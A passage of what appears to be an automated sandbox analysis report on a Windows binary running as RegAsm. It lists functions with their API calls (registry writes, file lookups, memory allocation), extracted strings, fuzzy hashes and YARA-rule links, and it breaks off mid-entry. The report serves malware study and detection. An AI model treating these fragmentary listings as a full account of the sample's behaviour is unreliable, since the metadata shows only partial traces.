Instruction Fuzzy Hash: 94E0E531E002126AEA302A759C64B5E3E4DBF917E2F190323AC55D3090DB20CC4986E7

Function 0051C260 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 0051C020: SetLastError.KERNEL32(000005B6), ref: 0051C0CF

boost::exception::~exception.LIBCPMTD ref: 0051C2A4

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLastboost::exception::~exception
String ID:
API String ID: 2030483509-0
Opcode ID: b80183c7910f2b700772a08d66f6a98778b85add2d4a3e2233c493c267d869ec
Instruction ID: 0cecc5c32c56923ef7d3b2b7f9c4b75e7af0e2a042226c3a80d4030c7ffd94ce
Opcode Fuzzy Hash: b80183c7910f2b700772a08d66f6a98778b85add2d4a3e2233c493c267d869ec
Instruction Fuzzy Hash: 4DF08C71840649EBCB04EF94C956BAEBB74FB48720F104368F826636C0DB352E00CB91

Function 0050B800 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CharNextA.USER32(00000000,00000000,?,0050B856,0050BE9F,0000002E,00000000,?,0050BE9F), ref: 0050B810

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: ed10844057c1b7a6d87709e7a6c7987db8c21fb9f038978cef2d85980a570400
Instruction ID: aab9afbd044a45454d1ca288d6f8f96450eb21b76fa42f73f465477230c9ede1
Opcode Fuzzy Hash: ed10844057c1b7a6d87709e7a6c7987db8c21fb9f038978cef2d85980a570400
Instruction Fuzzy Hash: D4F03930A08248EBEB24CFA4C5D046EBFFDAF46745B248699E805D7250E730DF01EB40

Non-executed Functions

Function 00543889 Relevance: 71.2, APIs: 25, Strings: 15, Instructions: 1201COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 005438D7
operator+.LIBVCRUNTIME ref: 005438F1
DName::operator+.LIBCMT ref: 00543A1F
DName::operator+.LIBCMT ref: 00543A3C

Part of subcall function 00544B73: DName::DName.LIBVCRUNTIME ref: 00544BB6

DName::operator+.LIBCMT ref: 00543AF0
DName::operator+.LIBCMT ref: 00543AFF

Part of subcall function 00549152: DName::operator+.LIBCMT ref: 00549196
Part of subcall function 00549152: DName::operator+.LIBCMT ref: 005491A2
Part of subcall function 00549152: DName::operator+.LIBCMT ref: 0054921D
Part of subcall function 00549152: DName::operator+=.LIBCMT ref: 00549260

DName::operator+.LIBCMT ref: 00543A8B

Part of subcall function 005436E2: DName::operator=.LIBVCRUNTIME ref: 00543703

Part of subcall function 0054368A: shared_ptr.LIBCMT ref: 005436A6

Part of subcall function 0054517E: shared_ptr.LIBCMT ref: 00545224

DName::operator+.LIBCMT ref: 00544069
DName::operator+.LIBCMT ref: 00544085
DName::operator+.LIBCMT ref: 00544324

Part of subcall function 005435B5: DName::operator+.LIBCMT ref: 005435D6

Strings

`vtordispex{, xrefs: 00543DB6
`adjustor{, xrefs: 00543E81
`local static destructor helper', xrefs: 0054410F
[thunk]:, xrefs: 0054458D
`template static data member constructor helper', xrefs: 0054416A
protected: , xrefs: 005444D4
static , xrefs: 00544303
extern "C" , xrefs: 005445CA
private: , xrefs: 00544483
public: , xrefs: 0054451A
virtual , xrefs: 00544400
`template static data member destructor helper', xrefs: 005441C6
`vtordisp{, xrefs: 00543E3F
}' , xrefs: 00543A73, 00543EA5
/, xrefs: 005441CD

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::shared_ptr$Name::operator+=Name::operator=operator+
String ID: /$[thunk]:$`adjustor{$`local static destructor helper'$`template static data member constructor helper'$`template static data member destructor helper'$`vtordispex{$`vtordisp{$extern "C" $private: $protected: $public: $static $virtual $}'
API String ID: 848932493-2884338863
Opcode ID: 72b6176266479f4cdd2391ed2344f3937dde485d3453f20206f6efae3b21ec8c
Instruction ID: 64a1c42f3dbcc4644f455581c4d21d71e5452b64d0e9e2cbcc4e270e416886a9
Opcode Fuzzy Hash: 72b6176266479f4cdd2391ed2344f3937dde485d3453f20206f6efae3b21ec8c
Instruction Fuzzy Hash: 4B927172E5051A9BDF18DEA8CC96BEEBBB4FB54308F144539E512E7290DB78D908CB10

Function 004428D0 Relevance: 62.9, APIs: 10, Strings: 23, Instructions: 5190COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004429EE
__aulldiv.LIBCMT ref: 00442C3F
__aulldiv.LIBCMT ref: 00443440
__aulldiv.LIBCMT ref: 00443677

Strings

%, xrefs: 00443C98
}{, xrefs: 0044358D
=, xrefs: 00445B34
', xrefs: 00445FD2
&, xrefs: 0044760D
, xrefs: 004431ED
n{, xrefs: 00446E8E
, xrefs: 00442FC5
K, xrefs: 0044397E
eks, xrefs: 00442A25, 00446CD5, 0044788F, 00447D80, 00447E92
n{, xrefs: 00442BC1
`, xrefs: 004458E6
n{, xrefs: 00447442
%, xrefs: 004471D5
}{, xrefs: 00447A45
n{, xrefs: 00446C11
n{, xrefs: 00447AB1
j3l6lrek, xrefs: 00442ACC, 00442B16, 00446D7C, 00446DC6, 00447936, 00447986, 00447E27, 00447E77, 00447F39, 00447F89
eik{, xrefs: 0044623E
a, xrefs: 00445B38
n{, xrefs: 0044732D
n{, xrefs: 00442970
n{, xrefs: 004435F9

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: $ $%$%$&$'$=$K$`$a$eik{$eks$j3l6lrek$n{$n{$n{$n{$n{$n{$n{$n{$}{$}{
API String ID: 3732870572-1030180315
Opcode ID: dd310a46742383446fd2645bfa157571ecb631af167f009fb090beec2fd8a6e4
Instruction ID: 3b60f3a2cfda6a4a83fec3174c0bb4d7717ec8fe253e781698ca4899afaa35ec
Opcode Fuzzy Hash: dd310a46742383446fd2645bfa157571ecb631af167f009fb090beec2fd8a6e4
Instruction Fuzzy Hash: 76C30470D052688BDB24DB28CC90BEEBBB1BF89308F0481DAD54DA7242DB756E85CF55

Function 00449D20 Relevance: 59.0, APIs: 9, Strings: 22, Instructions: 4752COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00449E3E
__aulldiv.LIBCMT ref: 0044A064

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

Strings

n{, xrefs: 0044DF2B
}{, xrefs: 0044E67B
eks, xrefs: 0044A09B, 0044DD72, 0044EAF3
t, xrefs: 0044CBE4
., xrefs: 0044D07F
n{, xrefs: 0044E99E
n{, xrefs: 00449DC0
n{, xrefs: 0044AAAA
', xrefs: 0044E554
n{, xrefs: 0044DCAE
, xrefs: 0044A9B5
!, xrefs: 0044A3A6
n{, xrefs: 00449FE6
p, xrefs: 0044C992
}{, xrefs: 0044AA3E
j3l6lrek, xrefs: 0044A142, 0044A192, 0044DE19, 0044DE63, 0044EB9A, 0044EBE4
n{, xrefs: 0044E6E9
%, xrefs: 0044E272
&, xrefs: 0044AE33
H-,/-, xrefs: 0044B94C
(, xrefs: 0044CBE0
!, xrefs: 0044A5CE

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease__aulldiv$ConditionVariableWake
String ID: $!$!$%$&$'$($.$H-,/-$eks$j3l6lrek$n{$n{$n{$n{$n{$n{$n{$p$t$}{$}{
API String ID: 3477837658-1088600858
Opcode ID: 885e11043e823725fb64a64f74cf791eebe9344418c79f0f88cf5f7ad5699e53
Instruction ID: a506a5154511d1a0f818262d6655942547b9957c79c19473aa2550514ee4e891
Opcode Fuzzy Hash: 885e11043e823725fb64a64f74cf791eebe9344418c79f0f88cf5f7ad5699e53
Instruction Fuzzy Hash: A7B30470D052688BDB24DB28CC90BEEBBB5BF89308F0481DAD54DA7242DB356E85CF55

Function 00422640 Relevance: 34.1, APIs: 13, Strings: 6, Instructions: 838registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004226A4

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004226E9
__aulldiv.LIBCMT ref: 004228A2
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,0000001C,00000000,0000000A,00000000,?,00007543,00000000), ref: 004228C8
RegCloseKey.ADVAPI32(?), ref: 0042291B

Strings

n{, xrefs: 00422824
}{, xrefs: 00422BE1
eks, xrefs: 00422932, 00422961, 00422F9B, 00422FD6
n{, xrefs: 00422C4E
j3l6lrek, xrefs: 004229F6, 00422A31, 0042306B, 004230A6
}{, xrefs: 004227B8

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek$n{$n{$}{$}{
API String ID: 2588155767-1326475545
Opcode ID: 6f5834f726e36f8d8670236d27dcc7e408e05c227160ae1bd53d12f1b7190dac
Instruction ID: ace2f462d53e790ded098e26092fba81d47bbac780532a3098eda6854fa45f75
Opcode Fuzzy Hash: 6f5834f726e36f8d8670236d27dcc7e408e05c227160ae1bd53d12f1b7190dac
Instruction Fuzzy Hash: 0C723B71E042189BEB24CF64DC91BEEBBB1BB88304F148199E509B7381DB786E85CF55

Function 00421820 Relevance: 34.1, APIs: 13, Strings: 6, Instructions: 836registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00421884

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004218C9
__aulldiv.LIBCMT ref: 00421A82
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,0000001C,00000000,0000000A,00000000,?,00007543,00000000), ref: 00421AA8
RegCloseKey.ADVAPI32(?), ref: 00421AFB
__aulldiv.LIBCMT ref: 00421C8B
__aulldiv.LIBCMT ref: 00421CD2
__aulldiv.LIBCMT ref: 00421EA5
RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,?,?,00000000,?,00000000,?,?,?,?,0000001C,00000000,0000000A), ref: 00421EDC

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00421FF1
__aulldiv.LIBCMT ref: 00422035
RegSetValueExA.ADVAPI32(?,?,?,?,00000001,?,?,00007543,00000000,00000004,00000000,-00000004,?,00000006,?,-0000753A), ref: 0042214D
RegCloseKey.ADVAPI32(?,?,00000006,?,-0000753A,?,00007543,00000000), ref: 00422157

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

Strings

n{, xrefs: 00421A04
}{, xrefs: 00421998
}{, xrefs: 00421DBA
eks, xrefs: 00421B12, 00421B41, 00422174, 004221AF
j3l6lrek, xrefs: 00421BD6, 00421C11, 00422244, 0042227F
n{, xrefs: 00421E27

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$ExclusiveLock$AcquireCloseRelease$ConditionCreateOpenValueVariableWake
String ID: eks$j3l6lrek$n{$n{$}{$}{
API String ID: 4089551861-1326475545
Opcode ID: fb15ff9770c4a72b751cfa8f6049a13d2275e1d2c54fa3a95caa03063073491f
Instruction ID: 14793e9fb2f7916f4cf70ba6bf591ce95b6f25ebe47a5d35f4dc2967f73a486e
Opcode Fuzzy Hash: fb15ff9770c4a72b751cfa8f6049a13d2275e1d2c54fa3a95caa03063073491f
Instruction Fuzzy Hash: F6725D71E002189FEB24CB64DC91BEEBBB1BB88304F148199E509B7381DB796E85CF55

Function 00423900 Relevance: 32.8, APIs: 7, Strings: 11, Instructions: 1312COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00423C96
__aulldiv.LIBCMT ref: 00423F4B

Strings

n{, xrefs: 00423C18
n{, xrefs: 00424062
n{, xrefs: 00424216
}{, xrefs: 004241A8
$, xrefs: 00424368
a, xrefs: 004245BE
eks, xrefs: 00423982, 004239BD, 00424668, 004246A3, 004249A2, 004249DD, 00424D0F, 00424D4A
j3l6lrek, xrefs: 00423A64, 00423A9F, 0042474A, 00424785, 00424A84, 00424ABF, 00424DF1, 00424E2C
=, xrefs: 00424AE3
n{, xrefs: 00423ECD
O, xrefs: 004245C2

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: $$=$O$a$eks$j3l6lrek$n{$n{$n{$n{$}{
API String ID: 3732870572-3892156691
Opcode ID: 23b0ba3dbf7977a84db72496a898f9de50e33d68ba9a696eb219af17c5265f55
Instruction ID: 276743bd0d106589d9f5c65de822cb435eee66eea7a5f65eb0b7b642b81da16f
Opcode Fuzzy Hash: 23b0ba3dbf7977a84db72496a898f9de50e33d68ba9a696eb219af17c5265f55
Instruction Fuzzy Hash: 74D20570E002688FDB24CF64D895BEEBBB1BB89304F1481EAE409A7351D7786E85CF55

Function 0042C740 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 492COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042C8D2

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042CAD0

Strings

n{, xrefs: 0042C878
}{, xrefs: 0042C9F1
n{, xrefs: 0042CA52
n{, xrefs: 0042CCD7

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: n{$n{$n{$}{
API String ID: 3732870572-4154228712
Opcode ID: 83b91eb75dca1444171c8ff8e872f2a9858cfc46787a82a9daa9e38b4a16a214
Instruction ID: 70a356f546fa94990332de3083992da1d43ecfcf38406400a452c31a5eca1b33
Opcode Fuzzy Hash: 83b91eb75dca1444171c8ff8e872f2a9858cfc46787a82a9daa9e38b4a16a214
Instruction Fuzzy Hash: BE126FB1E002189FEB24DF65DC41BEEBBB5BF88304F1481A9E909B7391D6786E448F54

Function 004213A0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 284registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00421403

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00421448
__aulldiv.LIBCMT ref: 004215B9
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,0000001C,00000000,0000000A,00000000,?,00007543,00000000), ref: 004215DF
RegCloseKey.ADVAPI32(?), ref: 00421632

Strings

n{, xrefs: 00421565
}{, xrefs: 00421517
eks, xrefs: 00421649, 00421678
j3l6lrek, xrefs: 00421707, 00421736

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek$n{$}{
API String ID: 2588155767-1069243570
Opcode ID: 8e19104c89689a130dc60720486c266229bc3da52571509ba34b1e98c8ec3b7d
Instruction ID: e81d9f2a62e681a176fc95b9eb4f9d49adbdfb2158cc2ffbd1ba497f8d536439
Opcode Fuzzy Hash: 8e19104c89689a130dc60720486c266229bc3da52571509ba34b1e98c8ec3b7d
Instruction Fuzzy Hash: A9C14C70E002189FDB14CFA4DC95BAEBBB6BF98304F14809AE409B7351DB786A85CF55

Function 00423480 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 284registryCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004234E3

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00423528
__aulldiv.LIBCMT ref: 00423699
RegOpenKeyExA.ADVAPI32(80000001,?,?,?,?,?,?,?,?,0000001C,00000000,0000000A,00000000,?,00007543,00000000), ref: 004236BF
RegCloseKey.ADVAPI32(?), ref: 00423712

Strings

}{, xrefs: 004235F7
n{, xrefs: 00423645
eks, xrefs: 00423729, 00423758
j3l6lrek, xrefs: 004237E7, 00423816

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseOpen
String ID: eks$j3l6lrek$n{$}{
API String ID: 2588155767-1069243570
Opcode ID: 755ba45d4e64dd93b0752bc1b62b5468849ed3ddeb084ca835e489519d2ed7a0
Instruction ID: f035b837488ea9a5e5f6d0955b73411dcb8dd9a79673109ba58edece1dff4817
Opcode Fuzzy Hash: 755ba45d4e64dd93b0752bc1b62b5468849ed3ddeb084ca835e489519d2ed7a0
Instruction Fuzzy Hash: 5AC14DB0E042189FDB14CFA4DC95BAEBBB5BF88305F14809AE409B7341DB786A85CF55

Function 0053FAB6 Relevance: 15.2, APIs: 10, Instructions: 200fileCOMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(0043F495,00000000,?), ref: 0053FB4E
GetLastError.KERNEL32 ref: 0053FB58
FindFirstFileW.KERNEL32(0043F495,?), ref: 0053FB6F
GetLastError.KERNEL32 ref: 0053FB7A
FindClose.KERNEL32(00000000), ref: 0053FB86
___std_fs_open_handle@16.LIBCPMT ref: 0053FC3F

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: 43d9ffe0fc118d98daf8678b01f08c4e2847e129b7e79d30486a0cddf3452ae0
Instruction ID: 6bb65691428a152813ed33e98c05f354cc686d1cc677e7c5b6f31f1ee2b87277
Opcode Fuzzy Hash: 43d9ffe0fc118d98daf8678b01f08c4e2847e129b7e79d30486a0cddf3452ae0
Instruction Fuzzy Hash: C071A074E4061AAFDB60CF28DC99BA9BBB8BF05320F144665EC55E7390DB709D84CB50

Function 004411F0 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 455memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00441384
GlobalAlloc.KERNEL32(00000040,?,?,?,?,?,0000001C,00000000,0000000A,00000000,00007543,00000000), ref: 004413AA
GetLastError.KERNEL32(?,00007543,00000000), ref: 0044156E
GetLastError.KERNEL32(?,00007543,00000000), ref: 00441844

Strings

eks, xrefs: 0044142C, 0044145B, 00441588, 004415B7
j3l6lrek, xrefs: 004414EA, 00441519, 00441646, 00441675
n{, xrefs: 00441306

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast__aulldiv$AllocGlobal
String ID: eks$j3l6lrek$n{
API String ID: 2907542317-86532494
Opcode ID: 18cef098f95af5d58fd77077b31138d485abf9ab3bf1382d0d4ed16cff7a6bca
Instruction ID: f2728fd928c076160ce7229c7fb47b5e464f844c07f3019d4160c529f2ac3219
Opcode Fuzzy Hash: 18cef098f95af5d58fd77077b31138d485abf9ab3bf1382d0d4ed16cff7a6bca
Instruction Fuzzy Hash: 7D125CB1D002189FEB24DFA4CC81BEEBBB5BB44304F1481AAE509A7391D7786E85CF55

Function 004210E0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 252COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042114D

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004211CB
__aulldiv.LIBCMT ref: 00421290

Strings

}{, xrefs: 004212B6
n{, xrefs: 00421306

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: n{$}{
API String ID: 3732870572-1042045087
Opcode ID: dcefab8f48aff93b722d70aa59213fa125ac14150980dc289702871d4f65ba08
Instruction ID: 39d18bead5b9f10a66183ffa85e2edf55d1113fd5e6123dae9e6ec200ec09dc3
Opcode Fuzzy Hash: dcefab8f48aff93b722d70aa59213fa125ac14150980dc289702871d4f65ba08
Instruction Fuzzy Hash: B89145B5E00204AFEB14DFA8DC45FAEB7B6FB98715F208119F909BB390D67869018B54

Function 0056274C Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00562963

Strings

1#QNAN, xrefs: 0056285F
1#SNAN, xrefs: 00562858
1#IND, xrefs: 00562851
1#INF, xrefs: 00562882

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 6af5316f11ec07d03d4e411ea3c6c38e79f92f28b6cab856ac414add768ac26d
Instruction ID: 3f6a5a456189b1644e09a8ed1ee6f5b9b2468598424d8741da0682bfd908c91f
Opcode Fuzzy Hash: 6af5316f11ec07d03d4e411ea3c6c38e79f92f28b6cab856ac414add768ac26d
Instruction Fuzzy Hash: 9FD23A71E086298FDB65CE28CD447EABBB5FB84305F1445EAD40DE7240EB78AE858F41

Function 00405640 Relevance: 9.8, Strings: 7, Instructions: 1049COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 004058E1
unknown compression method, xrefs: 00405883, 004059C8
@, xrefs: 00407708
unknown header flags set, xrefs: 004059EE
incorrect header check, xrefs: 0040585F
header crc mismatch, xrefs: 00406111
??, xrefs: 0040593D

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ??$@$header crc mismatch$incorrect header check$invalid window size$unknown compression method$unknown header flags set
API String ID: 0-3896373224
Opcode ID: f21bbe6904aed037705a102c4e0796569adfac54daa7179c1acce585fc47f536
Instruction ID: 912716e25643372fc9f43800737429c4a018e2c4b288f81a40f3b45bd20e0054
Opcode Fuzzy Hash: f21bbe6904aed037705a102c4e0796569adfac54daa7179c1acce585fc47f536
Instruction Fuzzy Hash: B9B2C874A00609DFDB04CF98C594AAEBBB2FF88304F2481A9D4056B385D779EE42DF95

Function 00440600 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 0053E35A: AcquireSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E365
Part of subcall function 0053E35A: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,-00007535,?,004308C5,00590F6C,?,0000000A,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 0053E39F

__aulldiv.LIBCMT ref: 00440911

Part of subcall function 0053E309: AcquireSRWLockExclusive.KERNEL32(0058E970,-00007535,?,004308F2,00590F6C), ref: 0053E313
Part of subcall function 0053E309: ReleaseSRWLockExclusive.KERNEL32(0058E970,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E346
Part of subcall function 0053E309: WakeAllConditionVariable.KERNEL32(0058E96C,?,004308F2,00590F6C,?,?,?,?,?,?,?,?,?,?,?,0000000A), ref: 0053E351

Strings

eks, xrefs: 0044096B, 0044099A
j3l6lrek, xrefs: 00440A29, 00440A58
E2', xrefs: 004406FB
n{, xrefs: 0044089F

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake__aulldiv
String ID: E2'$eks$j3l6lrek$n{
API String ID: 2808616827-3229564020
Opcode ID: 95c2e1a4daf085aa6fc50df27dab6aa56dc88c915f3b5023d26c6801acaa92e0
Instruction ID: 078cc1524bed649119e76f08d018b24227f6144dc8b09608589f59eab186b588
Opcode Fuzzy Hash: 95c2e1a4daf085aa6fc50df27dab6aa56dc88c915f3b5023d26c6801acaa92e0
Instruction Fuzzy Hash: 19E14BB0D002589FDF14DFA5D881BEEBBB1BF58304F14819AE509A7381DB34AA85CF95

Function 0056703D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

PMDtoOffset.LIBCMT ref: 005670CF

Strings

Bad dynamic_cast!, xrefs: 00567111

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Offset
String ID: Bad dynamic_cast!
API String ID: 1587990502-2956939130
Opcode ID: 87541b39ae2e137631827bdbb6531c213785e53ea37b9727a952eb4fc2dbbd03
Instruction ID: c198e6756d8f64ed2925672eb5c0a825644f8c675b271fc4cbf9cfc7f65daa92
Opcode Fuzzy Hash: 87541b39ae2e137631827bdbb6531c213785e53ea37b9727a952eb4fc2dbbd03
Instruction Fuzzy Hash: BD515D72A04209AFDB14DF68DC85AAA7FA5FF88328F048559FD1597281E731F910CBE0

Function 00560A0D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00560D1F,00000002,00000000,?,?,?,00560D1F,?,00000000), ref: 00560AA6
